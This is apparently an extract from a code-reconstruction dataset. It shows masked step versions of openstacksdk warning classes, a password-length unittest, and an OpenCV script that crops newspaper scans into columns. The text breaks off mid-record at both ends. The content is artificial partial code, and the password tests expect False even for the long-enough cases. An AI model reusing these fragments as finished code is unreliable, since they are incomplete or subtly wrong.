ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-3": "class OpenStackDeprecationWarning(DeprecationWarning):\n <mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-4": "class OpenStackDeprecationWarning(DeprecationWarning):\n \"\"\"Base class for warnings about deprecated features in openstacksdk.\"\"\"\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-5": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nclass OpenStackDeprecationWarning(DeprecationWarning):\n \"\"\"Base class for warnings about deprecated features in openstacksdk.\"\"\"\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-ids": [ 11, 12, 13, 14, 15 ] }

[ 11, 12, 13, 14, 15 ]

import unittest from validate_pw_complexity import * class Test_PW_Functions(unittest.TestCase): def test_pw_not_long_enough_min(self): sample_pass ="abcd" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result) def test_pw_just_long_enough_min(self): sample_pass = "abcdadca" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result) def test_pw_long_enough_min(self): sample_pass = "abcdadcaabc" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result)

normal

{ "blob_id": "dc7d75bf43f1ba55673a43f863dd08e99a1c0e0f", "index": 4820, "step-1": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-2": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n <mask token>\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-3": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = 'abcdadca'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-4": "import unittest\nfrom validate_pw_complexity import *\n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = 'abcdadca'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-5": "import unittest\n\nfrom validate_pw_complexity import *\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass =\"abcd\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = \"abcdadca\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = \"abcdadcaabc\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

<|reserved_special_token_0|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <|reserved_special_token_0|> def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White | White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files <|reserved_special_token_0|> def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <|reserved_special_token_0|> def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White | White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <|reserved_special_token_0|> def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = a.size - 2 + 1 return a[1 * np.arange(nrows)[:, None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White | White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> os.environ['OPENCV_IO_ENABLE_JASPER'] = 'True' <|reserved_special_token_0|> DILATE_KERNEL = np.array([[0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype =np.uint8) def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar def Q_test(sorted_data): conf95_level = {(3): 0.97, (4): 0.829, (5): 0.71, (6): 0.625, (7): 0.568, (8): 0.526, (9): 0.493} q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0]) print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs( sorted_data[-1] - sorted_data[0]))) print('q_exp : ' + str(q_exp)) return q_exp > conf95_level[min(9, len(sorted_data))] COLUMNS = 0 GREEN = 0, 255, 0 LINE_THICKNESS = 3 PADDING = 10 CREATE_COLUMN_OUTLINE_IMAGES = True def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = a.size - 2 + 1 return a[1 * np.arange(nrows)[:, None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White | White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ if __name__ == '__main__': print('STARTING') for f in os.listdir('./ocr/data/gb19gw39h/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/') for f in os.listdir('./ocr/data/8k71pf94q/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/') for f in os.listdir('./ocr/data/mc87rq85m/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/') """ data_folder = './ocr/data/' for folder in os.listdir(data_folder): if folder == ".DS_Store": continue for file in os.listdir(os.path.join(data_folder, folder)): if file.endswith(".jpg"): print("calling test() on " + file) #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0]) createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/') for f in os.listdir('./ocr/data/8k71pr786/'): if f.endswith(".jpg"): for d in range(550, 850, 50): createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d) #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/') """ <|reserved_special_token_1|> # https://github.com/jscancella/NYTribuneOCRExperiments/blob/master/findText_usingSums.py import os import io from pathlib import Path import sys os.environ['OPENCV_IO_ENABLE_JASPER']='True' # has to be set before importing cv2 otherwise it won't read the variable import numpy as np import cv2 import subprocess from multiprocessing import Pool from scipy.signal import find_peaks, find_peaks_cwt import scipy.ndimage as ndimage from IPython.display import Image as KImage #custom kernel that is used to blend together text in the Y axis DILATE_KERNEL = np.array([ [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype=np.uint8) # Run adaptative thresholding (is slow af compared to not using it in pipeline) def adaptative_thresholding(img, threshold): # Load image I = img # Convert image to grayscale gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) # Original image size orignrows, origncols = gray.shape # Windows size M = int(np.floor(orignrows/16) + 1) N = int(np.floor(origncols/16) + 1) # Image border padding related to windows size Mextend = round(M/2)-1 Nextend = round(N/2)-1 # Padding image aux =cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M,N),np.int32) # Image integral calculation imageIntegral = cv2.integral(aux, windows,-1) # Integral image size nrows, ncols = imageIntegral.shape # Memory allocation for cumulative region image result = np.zeros((orignrows, origncols)) # Image cumulative pixels in windows size calculation for i in range(nrows-M): for j in range(ncols-N): result[i, j] = imageIntegral[i+M, j+N] - imageIntegral[i, j+N]+ imageIntegral[i, j] - imageIntegral[i+M,j] # Output binary image memory allocation binar = np.ones((orignrows, origncols), dtype=np.bool) # Gray image weighted by windows size graymult = (gray).astype('float64')*M*N # Output image binarization binar[graymult <= result*(100.0 - threshold)/100.0] = False # binary image to UINT8 conversion binar = (255*binar).astype(np.uint8) return binar def Q_test(sorted_data): conf95_level = {3: .97, 4: .829, 5: .71, 6: .625, 7: .568, 8: 